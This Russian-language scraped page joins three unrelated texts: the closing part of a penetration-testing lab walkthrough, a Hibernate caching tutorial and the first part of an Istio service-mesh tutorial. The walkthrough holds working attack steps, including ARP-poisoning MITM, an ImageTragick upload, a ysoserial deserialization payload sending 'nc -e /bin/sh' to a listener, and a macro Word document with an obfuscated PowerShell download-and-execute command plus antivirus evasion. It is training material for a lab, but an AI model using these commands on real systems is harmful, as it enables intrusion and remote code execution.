Очевидно, dev сервер обращается к FTP, скачивает оттуда все \*.py файлы из папки test\_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.
Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!
Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.
Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.
Отлично, определились два хоста:
Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.
Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.
Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.
В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:
Настраиваем Intercepter:
Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.
Включаем слушающую часть на SSH:
И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.
Через минуту получаем шелл:
А заодно и токен сервера dev:
“Tragick” SITE-TEST
===================
Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.
Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:
Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…
dirb быстро начинает находить следующие доступные URLs:
Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:
Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).
Попробуем уязвимость в ImageMagick, которая получила название [ImageTragick](https://imagetragick.com/).
Конструируем файл для загрузки:
И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.
Вот и коннект! В корневой папке (cd /) видим token.txt:
Открываем PORTAL
================
Попробуем изучить сервер portal. Начнем со сканирования портов.
Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:
Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
Получаем страницу отпусков и новые учетные данные:
Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:
Выглядит как base64, декодируем:
Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.
Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.
Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть [недавно продемонстрированная возможность](http://frohoff.github.io/appseccali-marshalling-pickles/) выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту [ysoserial](https://github.com/frohoff/ysoserial/releases).
После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
нужную нам команду (а именно reverse shell, в нашем случае).
Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:
`curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'`
Возникает ошибка при выполнении:
Находим эту же проблему прямо на [гитхабе разработчика](https://github.com/frohoff/ysoserial/issues/17).
Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:
`apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package`
Получаем нужный нам файл!
Обновляем команду на новый payload Commons-Collections5:
`curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'`
На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:
Долгожданный шелл. Находим token.txt в корневой папке:
И еще один токен поддался!
Поизучав немного портал, находим кое-что интересное в crontab:
Скрипт проверки почты! Посмотрим, что в нем.
Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.
Roundcube Mail
==============
В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.
Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:
Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.
Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.
И получаем ответ:
После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!
Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!
Terminal
========
На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!
Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.
Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:
* научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
* сформировать документ с reverse shell payload,
* обойти антивирус Microsoft Security Essentials,
* включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).
Отправка писем
--------------
Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.
Для этого будем подставлять нужный адрес в поле FROM:
Здесь важно несколько вещей:
* заменить значение поле FROM на нужное,
* подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
* не забыть закодировать документ в base64, чтобы он не испортился при передаче,
* пробросить порт 587 с 172.16.0.1 на локальную машину:
Формируем payload
-----------------
Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.
Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:
*1. Используем setoolkit для создания payload:*
Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):
Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:
Проверяем, что файл доступен:
*2. Формируем документ*
Я использовал этот вариант запуска, описанный в этой [статье](http://null-byte.wonderhowto.com/how-to/create-obfuscate-virus-inside-microsoft-word-document-0167780/).
Как показано, нам нужно обфусцировать команду загрузки payload:
`powershell.exe "IEX ((new-object net.webclient).downloadstring('http:///payload.txt'))"`
Чтобы это сделать, можно использовать Java-апплет из статьи, доступный [здесь](https://www.dropbox.com/s/38g95s4g2v7eclj/Obfuscate.jar?dl=0). Запускаем:
Вводим:
`powershell.exe "IEX ((new-object net.webclient).downloadstring('http:///payload.txt'))"`
Получаем результат и вставляем в документ. Я добавил еще Document\_Open() на всякий случай.
При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.
Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.
*3. Запускаем Metasploit*
Перед запуском еще раз проходимся по небольшому «чеклисту»:
* payload доступен по адресу [your\_ip/payload.txt](http://your_ip/payload.txt),
* порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,
* документ находится в папке вместе со скриптом для отправки почты.
Запускаем!
И через минуту:
Идем в C:\Users\r.diaz\Desktop и получаем токен!
SSH-TEST — последний барьер
===========================
Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.
При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.
Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.
Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:
Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:
Запускаем sshuttle, чтобы ходить к серверу напрямую:
Удобно указать нужную подсеть, чтобы остался доступ в Интернет.
Копируем ключ d.nash id\_rsa себе на диск:
Устанавливаем утилиту knock, которой будем стучать в нужные порты:
Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!
Вот и последний токен! Лаборатория пройдена.
Послесловие
===========
Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.
Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.
Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.
Удачи! | https://habr.com/ru/post/303700/ | null | ru | null |
# Hibernate cache
Довольно часто в java приложениях с целью снижения нагрузки на БД используют кеш. Не много людей реально понимают как работает кеш под капотом, добавить просто аннотацию не всегда достаточно, нужно понимать как работает система. Поэтому этой статье я попытаюсь раскрыть тему про то, как работает кеш популярного ORM фреймворка. Итак, для начала немного теории.
Прежде всего Hibernate cache — это 3 уровня кеширования:
* Кеш первого уровня (First-level cache);
* Кеш второго уровня (Second-level cache);
* Кеш запросов (Query cache);
##### Кеш первого уровня
Кеш первого уровня всегда привязан к объекту сессии. Hibernate всегда по умолчанию использует этот кеш и его нельзя отключить. Давайте сразу рассмотрим следующий код:
```
SharedDoc persistedDoc = (SharedDoc) session.load(SharedDoc.class, docId);
System.out.println(persistedDoc.getName());
user1.setDoc(persistedDoc);
persistedDoc = (SharedDoc) session.load(SharedDoc.class, docId);
System.out.println(persistedDoc.getName());
user2.setDoc(persistedDoc);
```
Возможно, Вы ожидаете, что будет выполнено 2 запроса в БД? Это не так. В этом примере будет выполнен 1 запрос в базу, несмотря на то, что делается 2 вызова load(), так как эти вызовы происходят в контексте одной сессии. Во время второй попытки загрузить план с тем же идентификатором будет использован кеш сессии.
Один важный момент — при использовании метода load() Hibernate не выгружает из БД данные до тех пор пока они не потребуются. Иными словами — в момент, когда осуществляется первый вызов load, мы получаем прокси объект или сами данные в случае, если данные уже были в кеше сессии. Поэтому в коде присутствует getName() чтобы 100% вытянуть данные из БД. Тут также открывается прекрасная возможность для потенциальной оптимизации. В случае прокси объекта мы можем связать два объекта не делая запрос в базу, в отличии от метода get(). При использовании методов save(), update(), saveOrUpdate(), load(), get(), list(), iterate(), scroll() всегда будет задействован кеш первого уровня. Собственно, тут нечего больше добавить.
##### Кеш второго уровня
Если кеш первого уровня привязан к объекту сессии, то кеш второго уровня привязан к объекту-фабрике сессий (Session Factory object). Что как бы подразумевает, что видимость этого кеша гораздо шире кеша первого уровня. Пример:
```
Session session = factory.openSession();
SharedDoc doc = (SharedDoc) session.load(SharedDoc.class, 1L);
System.out.println(doc.getName());
session.close();
session = factory.openSession();
doc = (SharedDoc) session.load(SharedDoc.class, 1L);
System.out.println(doc.getName());
session.close();
```
В данном примере будет выполнено 2 запроса в базу, это связано с тем, что по умолчанию кеш второго уровня отключен. Для включения необходимо добавить следующие строки в Вашем конфигурационном файле JPA (persistence.xml):
```
//или в более старых версиях
//
```
Обратите внимание на первую строку. На самом деле, хибернейт сам не реализует кеширование как таковое. А лишь предоставляет структуру для его реализации, поэтому подключить можно любую реализацию, которая соответствует спецификации нашего ORM фреймворка. Из популярных реализаций можна выделить [следующие](http://docs.jboss.org/hibernate/core/3.3/reference/en/html/performance.html#performance-cache):
* EHCache
* OSCache
* SwarmCache
* JBoss TreeCache
Помимо всего этого, вероятней всего, Вам также понадобится отдельно настроить и саму реализацию кеша. В случае с EHCache это нужно сделать в файле [ehcache.xml](http://ehcache.org/ehcache.xml). Ну и в завершение еще нужно указать самому хибернейту, что именно кешировать. К счастью, это очень легко можно сделать с помощью аннотаций, например так:
```
@Entity
@Table(name = "shared_doc")
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
public class SharedDoc{
private Set users;
}
```
Только после всех этих манипуляций кеш второго уровня будет включен и в примере выше будет выполнен только 1 запрос в базу.
Еще одна важная деталь про кеш второго уровня про которую стоило бы упомянуть — хибернейт не хранит сами объекты Ваших классов. Он хранит информацию в виде массивов строк, чисел и т. д. И идентификатор объекта выступает указателем на эту информацию. Концептуально это нечто вроде Map, в которой id объекта — ключ, а массивы данных — значение. Приблизительно можно представить себе это так:
```
1 -> { "Pupkin", 1, null , {1,2,5} }
```
Что есть очень разумно, учитывая [сколько лишней памяти](http://habrahabr.ru/blogs/java/134102/) занимает каждый объект.
Помимо вышесказанного, следует помнить — зависимости Вашего класса по умолчанию также не кешируются. Например, если рассмотреть класс выше — SharedDoc, то при выборке коллекция users будет доставаться из БД, а не из кеша второго уровня. Если Вы хотите также кешировать и зависимости, то класс должен выглядеть так:
```
@Entity
@Table(name = "shared_doc")
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
public class SharedDoc{
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
private Set users;
}
```
И последняя деталь — чтение из кеша второго уровня происходит только в том случае, если нужный объект не был найден в кеше первого уровня.
##### Кеш запросов
Перепишем первый пример так:
```
Query query = session.createQuery("from SharedDoc doc where doc.name = :name");
SharedDoc persistedDoc = (SharedDoc) query.setParameter("name", "first").uniqueResult();
System.out.println(persistedDoc.getName());
user1.setDoc(persistedDoc);
persistedDoc = (SharedDoc) query.setParameter("name", "first").uniqueResult();
System.out.println(persistedDoc.getName());
user2.setDoc(persistedDoc);
```
Результаты такого рода запросов не сохраняются ни кешом первого, ни второго уровня. Это как раз то место, где можно использовать кеш запросов. Он тоже по умолчанию отключен. Для включения нужно добавить следующую строку в конфигурационный файл:
```
```
а также переписать пример выше добавив после создания объекта Query (то же справедливо и для Criteria):
```
Query query = session.createQuery("from SharedDoc doc where doc.name = :name");
query.setCacheable(true);
```
Кеш запросов похож на кеш второго уровня. Но в отличии от него — ключом к данным кеша выступает не идентификатор объекта, а совокупность параметров запроса. А сами данные — это идентификаторы объектов соответствующих критериям запроса. Таким образом, этот кеш рационально использовать с кешем второго уровня.
###### Стратегии кеширования
Стратегии кеширования определяют поведения кеша в определенных ситуациях. Выделяют четыре группы:
* Read-only
* Read-write
* Nonstrict-read-write
* Transactional
Подробней можно прочитать [тут](http://docs.jboss.org/hibernate/core/3.3/reference/en/html/performance.html#performance-cache-mapping).
###### Cache region
Регион или область — это логический разделитель памяти вашего кеша. Для каждого региона можна настроить свою политику кеширования (для EhCache в том же ehcache.xml). Если регион не указан, то используется регион по умолчанию, который имеет полное имя вашего класса для которого применяется кеширование. В коде выглядит так:
```
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE, region = "STATIC_DATA")
```
А для кеша запросов так:
```
query.setCacheRegion("STATIC_DATA");
//или в случае критерии
criteria.setCacheRegion("STATIC_DATA");
```
###### Что еще нужно знать?
Во время разработки приложения, особенно сначала, очень удобно видеть действительно ли кешируются те или иные запросы, для этого нужно указать фабрике сессий следующие свойства:
```
```
В дополнение фабрика сессий также может генерировать и сохранять статистику использования всех объектов, регионов, зависимостей в кеше:
```
```
Для этого есть объекты Statistics для фабрики и SessionStatistics для сессии.
Методы сессии:
flush() — синхронизирует объекты сессии с БД и в то же время обновляет сам кеш сессии.
evict() — нужен для удаления объекта из кеша cессии.
contains() — определяет находится ли объект в кеше сессии или нет.
clear() — очищает весь кеш.
###### Заключение
Вот собственно и все. Естественно, что вне статьи осталось еще не мало разных нюансов, которые возникают походу работы с кешем, а также немало проблем. Но это уже тема для другой статьи. | https://habr.com/ru/post/135176/ | null | ru | null |
# Назад к микросервисам вместе с Istio. Часть 1
***Прим. перев.**: Service mesh'и определённо стали актуальным решением в современной инфраструктуре для приложений, следующих микросервисной архитектуре. Хотя Istio может быть на слуху у многих DevOps-инженеров, это довольно новый продукт, который, будучи комплексным в смысле предоставляемых возможностей, может потребовать значительного времени для знакомства. Немецкий инженер Rinor Maloku, отвечающий за облачные вычисления для крупных клиентов в телекоммуникационной компании Orange Networks, написал замечательный цикл материалов, что позволяют достаточно быстро и глубоко погрузиться в Istio. Начинает же он свой рассказ с того, что вообще умеет Istio и как на это можно быстро посмотреть собственными глазами.*
**Istio** — Open Source-проект, разработанный при сотрудничестве команд из Google, IBM и Lyft. Он решает сложности, возникающие в приложениях, основанных на микросервисах, например, такие как:
* **Управление трафиком**: таймауты, повторные попытки, балансировка нагрузки;
* **Безопасность**: аутентификация и авторизация конечного пользователя;
* **Наблюдаемость**: трассировка, мониторинг, логирование.
Все они могут быть решены на уровне приложения, однако после этого ваши сервисы перестанут быть «микро». Все дополнительные усилия по решению этих проблем — лишний расход ресурсов компании, которые могли бы использоваться непосредственно для бизнес-ценностей. Рассмотрим пример:
> Менеджер проектов: Как долго добавлять возможность обратной связи?
>
> Разработчик: Два спринта.
>
>
>
> МП: Что?.. Это ведь всего лишь CRUD!
>
> Р: Сделать CRUD — простая часть задачи, но нам ещё потребуется аутентифицировать и авторизовывать пользователей и сервисы. Поскольку сеть ненадёжна, понадобится реализовать повторные запросы, а также [паттерн circuit breaker](https://en.wikipedia.org/wiki/Circuit_breaker_design_pattern) в клиентах. Ещё, чтобы убедиться, что вся система не упала, понадобятся таймауты и [bulkheads](https://docs.microsoft.com/en-us/azure/architecture/patterns/bulkhead) *(подробнее об обоих упомянутых паттернах см. дальше в статье — прим. перев.)*, а для того, чтобы обнаруживать проблемы, потребуется мониторинг, трассировка, […]
>
>
>
> МП: Ох, давайте тогда просто вставим эту фичу в сервис Product.
Думаю, идея понятна: объём шагов и усилий, которые требуются для добавления одного сервиса, огромен. В этой статье мы рассмотрим, как Istio устраняет все упомянутые выше сложности (не являющиеся целевыми для бизнес-логики) из сервисов.
**Примечание**: Статья предполагает, что у вас есть практические знания по Kubernetes. В ином случае рекомендую прочитать [моё введение в Kubernetes](https://medium.freecodecamp.org/learn-kubernetes-in-under-3-hours-a-detailed-guide-to-orchestrating-containers-114ff420e882) и только после этого продолжить чтение данного материала.
Идея Istio
----------
В мире без Istio один сервис делает прямые запросы к другому, а в случае сбоя сервис должен сам обработать его: предпринять новую попытку, предусмотреть таймаут, открыть circuit breaker и т.п.
*Сетевой трафик в Kubernetes*
Istio же предлагает специализированное решение, полностью отделённое от сервисов и функционирующее путём вмешательства в сетевое взаимодействие. И таким образом оно реализует:
* **Отказоустойчивость**: опираясь на код статуса в ответе, оно понимает, произошёл ли сбой в запросе, и выполняет его повторно.
* **Канареечные выкаты**: перенаправляет на новую версию сервиса лишь фиксированное процентом число запросов.
* **Мониторинг и метрики**: за какое время сервис ответил?
* **Трассировка и наблюдаемость**: добавляет специальные заголовки в каждый запрос и выполняет их трассировку в кластере.
* **Безопасность**: извлекает JWT-токен, аутентифицирует и авторизует пользователей.
Это лишь некоторые из возможностей (действительно лишь некоторые!), чтобы заинтриговать вас. А теперь давайте погрузимся в технические подробности!
Архитектура Istio
-----------------
Istio перехватывает весь сетевой трафик и применяет к нему набор правил, вставляя в каждый pod умный прокси в виде sidecar-контейнера. Прокси, которые активируют все возможности, образуют собой **Data Plane**, и они могут динамически настраиваться с помощью **Control Plane**.
Data Plane
----------
Вставляемые в pod'ы прокси позволяют Istio с лёгкостью добиться соответствия нужным нам требованиям. Например, проверим функции повторных попыток и circuit breaker.
*Как retries и circuit breaking реализованы в Envoy*
Подытожим:
1. Envoy *(речь про прокси, находящийся в sidecar-контейнере, который распространяется и как [отдельный продукт](https://www.envoyproxy.io/) — прим. перев.)* отправляет запрос первому экземпляру сервиса B и происходит сбой.
2. Envoy Sidecar предпринимает повторную попытку *(retry)*. *(1)*
3. Запрос со сбоем возвращается вызвавшему его прокси.
4. Так открывается Circuit Breaker и происходит вызов следующего сервиса для последующих запросов. *(2)*
Это означает, что вам не придётся использовать очередную библиотеку Retry, не придётся делать свою реализацию Circuit Breaking и Service Discovery на языке программирования X, Y или Z. Всё это и многое другое доступно из коробки в Istio и не требует **никаких** изменений в коде.
Отлично! Теперь вы можете захотеть отправиться в вояж с Istio, но всё ещё есть какие-то сомнения, открытые вопросы. Если это универсальное решение на все случаи в жизни, то у вас возникает закономерное подозрение: ведь все такие решения в действительности оказываются не подходящими ни для какого случая.
И вот наконец вы спросите: «Оно настраивается?»
Теперь вы готовы к морскому путешествию — и давайте же познакомимся с Control Plane.
Control Plane
-------------
Он состоит из трёх компонентов: **Pilot**, **Mixer** и **Citadel**, — которые совместными усилиями настраивают Envoy'и для маршрутизации трафика, применяют политики и собирают телеметрические данные. Схематично всё это выглядит так:
*Взаимодействие Control Plane с Data Plane*
Envoy'и (т.е. data plane) сконфигурированы с помощью [Kubernetes CRD](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) (Custom Resource Definitions), определёнными Istio и специально предназначенными для этой цели. Для вас это означает, что они представляются очередным ресурсом в Kubernetes со знакомым синтаксисом. После создания этот ресурс будет подобран control plane'ом и применён к Envoy'ям.
Отношение сервисов к Istio
--------------------------
Мы описали отношение Istio к сервисам, но не обратное: как же сервисы относятся к Istio?
Честно говоря, о присутствии Istio сервисам известно так же хорошо, как рыбам — о воде, когда они спрашивают себя: «Что вообще такое вода?».
*Иллюстрация [Victoria Dimitrakopoulos](https://fityourself.club/@victoriadimitrakopoulos): — Как вам вода? — Что вообще такое вода?*
Таким образом, вы можете взять рабочий кластер и после деплоя компонентов Istio сервисы, находящиеся в нём, продолжат работать, а после устранения этих компонентов — снова всё будет хорошо. Понятное дело, что при этом вы потеряете возможности, предоставляемые Istio.
Достаточно теории — давайте перенесём это знание в практику!
Istio на практике
-----------------
Istio требует кластера Kubernetes, в котором как минимум доступны 4 vCPU и 8 Гб RAM. Чтобы быстро поднять кластер и следовать инструкциям из статьи, рекомендую воспользоваться Google Cloud Platform, которая предлагает новым пользователям [бесплатные $300](https://console.developers.google.com/billing/freetrial?hl=en).
После создания кластера и настройки доступа к Kubernetes через консольную утилиту можно установить Istio через пакетный менеджер Helm.
Установка Helm
--------------
Установите клиент Helm на своём компьютере, как рассказывают в [официальной документации](https://docs.helm.sh/using_helm/#installing-the-helm-client). Его мы будем использовать для генерации шаблонов для установки Istio в следующем разделе.
Установка Istio
---------------
Скачайте ресурсы Istio из [последнего релиза](https://github.com/istio/istio/releases/tag/1.0.6) *(оригинальная авторская ссылка на версию 1.0.5 изменена на актуальную, т.е. 1.0.6 — прим. перев.)*, извлеките содержимое в одну директорию, которую я буду в дальнейшем называть `[istio-resources]`.
Для простоты идентификации ресурсов Istio создайте в кластере K8s пространство имён `istio-system`:
```
$ kubectl create namespace istio-system
```
Завершите установку, перейдя в каталог `[istio-resources]` и выполнив команду:
```
$ helm template install/kubernetes/helm/istio \
--set global.mtls.enabled=false \
--set tracing.enabled=true \
--set kiali.enabled=true \
--set grafana.enabled=true \
--namespace istio-system > istio.yaml
```
Эта команда выведет ключевые компоненты Istio в файл `istio.yaml`. Мы изменили стандартный шаблон под себя, указав следующие параметры:
* `global.mtls.enabled` установлено в `false` *(т.е. mTLS-аутентификация отключена — прим перев.)*, чтобы упростить наш процесс знакомства;
* `tracing.enabled` включает трассировку запросов с помощью Jaeger;
* `kiali.enabled` устанавливает Kiali в кластер для визуализации сервисов и трафика;
* `grafana.enabled` устанавливает Grafana для визуализации собранных метрик.
Применим сгенерированные ресурсы командой:
```
$ kubectl apply -f istio.yaml
```
Установка Istio в кластер завершена! Дождитесь, пока все pod'ы в пространстве имён `istio-system` окажутся в состоянии `Running` или `Completed`, выполнив команду ниже:
```
$ kubectl get pods -n istio-system
```
Теперь мы готовы продолжить в следующем разделе, где поднимем и запустим приложение.
Архитектура приложения Sentiment Analysis
-----------------------------------------
Воспользуемся примером микросервисного приложения Sentiment Analysis, использованного в уже упомянутой [статье-введении в Kubernetes](https://medium.freecodecamp.org/learn-kubernetes-in-under-3-hours-a-detailed-guide-to-orchestrating-containers-114ff420e882). Оно достаточно сложное, чтобы показать возможности Istio на практике.
Приложение состоит из четырёх микросервисов:
1. Сервис **SA-Frontend**, который обслуживает фронтенд приложения на Reactjs;
2. Сервис **SA-WebApp**, который обслуживает запросы Sentiment Analysis;
3. Сервис **SA-Logic**, который выполняет сам [сентимент-анализ](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7_%D1%82%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0);
4. Сервис **SA-Feedback**, который получает от пользователей обратную связь о точности проведённого анализа.
На этой схеме помимо сервисов мы видим также Ingress Controller, который в Kubernetes маршрутизирует входящие запросы на соответствующие сервисы. В Istio используется схожая концепция в рамках Ingress Gateway, подробности о котором последуют.
Запуск приложения с прокси от Istio
-----------------------------------
Для дальнейших операций, упоминаемых в статье, склонируйте себе репозиторий [istio-mastery](https://github.com/rinormaloku/istio-mastery). В нём содержатся приложение и манифесты для Kubernetes и Istio.
### Вставка sidecar'ов
Вставка может быть произведена **автоматически** или **вручную**. Для автоматической вставки sidecar-контейнеров потребуется выставить пространству имён лейбл `istio-injection=enabled`, что делается следующей командой:
```
$ kubectl label namespace default istio-injection=enabled
namespace/default labeled
```
Теперь каждый pod, который будет разворачиваться в пространстве имён по умолчанию (`default`) получит свой sidecar-контейнер. Чтобы убедиться в этом, давайте задеплоим тестовое приложение, перейдя в корневой каталог репозитория `[istio-mastery]` и выполнив следующую команду:
```
$ kubectl apply -f resource-manifests/kube
persistentvolumeclaim/sqlite-pvc created
deployment.extensions/sa-feedback created
service/sa-feedback created
deployment.extensions/sa-frontend created
service/sa-frontend created
deployment.extensions/sa-logic created
service/sa-logic created
deployment.extensions/sa-web-app created
service/sa-web-app created
```
Развернув сервисы, проверим, что у pod'ов по два контейнера (с самим сервисом и его sidecar'ом), выполнив команду `kubectl get pods` и убедившись, что под столбцом `READY` указано значение `2/2`, символизирующее, что оба контейнера запущены:
```
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
sa-feedback-55f5dc4d9c-c9wfv 2/2 Running 0 12m
sa-frontend-558f8986-hhkj9 2/2 Running 0 12m
sa-logic-568498cb4d-2sjwj 2/2 Running 0 12m
sa-logic-568498cb4d-p4f8c 2/2 Running 0 12m
sa-web-app-599cf47c7c-s7cvd 2/2 Running 0 12m
```
Визуально это представляется так:
*Прокси Envoy в одном из pod'ов*
Теперь, когда приложение поднято и функционирует, нам потребуется разрешить входящему трафику приходить в приложение.
Ingress Gateway
---------------
Лучшая практика добиться этого (разрешить трафик в кластере) — через **Ingress Gateway** в Istio, что располагается у «границы» кластера и позволяет включать для входящего трафика такие функции Istio, как маршрутизация, балансировка нагрузки, безопасность и мониторинг.
Компонент Ingress Gateway и сервис, который пробрасывает его вовне, были установлены в кластер во время инсталляции Istio. Чтобы узнать внешний IP-адрес сервиса, выполните:
```
$ kubectl get svc -n istio-system -l istio=ingressgateway
NAME TYPE CLUSTER-IP EXTERNAL-IP
istio-ingressgateway LoadBalancer 10.0.132.127 13.93.30.120
```
Мы будем обращаться к приложению по этому IP и дальше (я буду ссылаться на него как EXTERNAL-IP), поэтому для удобства запишем значение в переменную:
```
$ EXTERNAL_IP=$(kubectl get svc -n istio-system \
-l app=istio-ingressgateway \
-o jsonpath='{.items[0].status.loadBalancer.ingress[0].ip}')
```
Если попробуете сейчас зайти на этот IP через браузер, то получите ошибку Service Unavailable, т.к. **по умолчанию Istio блокирует весь входящий трафик**, пока не определён Gateway.
Ресурс Gateway
--------------
Gateway — это CRD (Custom Resource Definition) в Kubernetes, определяемый после установки Istio в кластере и активирующий возможность указывать порты, протокол и хосты, для которых мы хотим разрешить входящий трафик.
В нашем случае мы хотим разрешить HTTP-трафик на 80-й порт для всех хостов. Задача реализуется следующим определением *([http-gateway.yaml](https://gist.github.com/rinormaloku/577d0e23590f7a8dfbe56fe2a1f853d7#file-http-gateway-yaml))*:
```
apiVersion: networking.istio.io/v1alpha3
kind: Gateway
metadata:
name: http-gateway
spec:
selector:
istio: ingressgateway
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "*"
```
Такая конфигурация не нуждается в объяснениях за исключением селектора `istio: ingressgateway`. С помощью этого селектора мы можем указать, к какому Ingress Gateway применить конфигурацию. В нашем случае таковым является контроллер Ingress Gateway, что был по умолчанию установлен в Istio.
Конфигурация применяется вызовом следующей команды:
```
$ kubectl apply -f resource-manifests/istio/http-gateway.yaml gateway.networking.istio.io/http-gateway created
```
Теперь шлюз разрешает доступ к порту 80, но не имеет представления о том, куда маршрутизировать запросы. Для этого понадобятся **Virtual Services**.
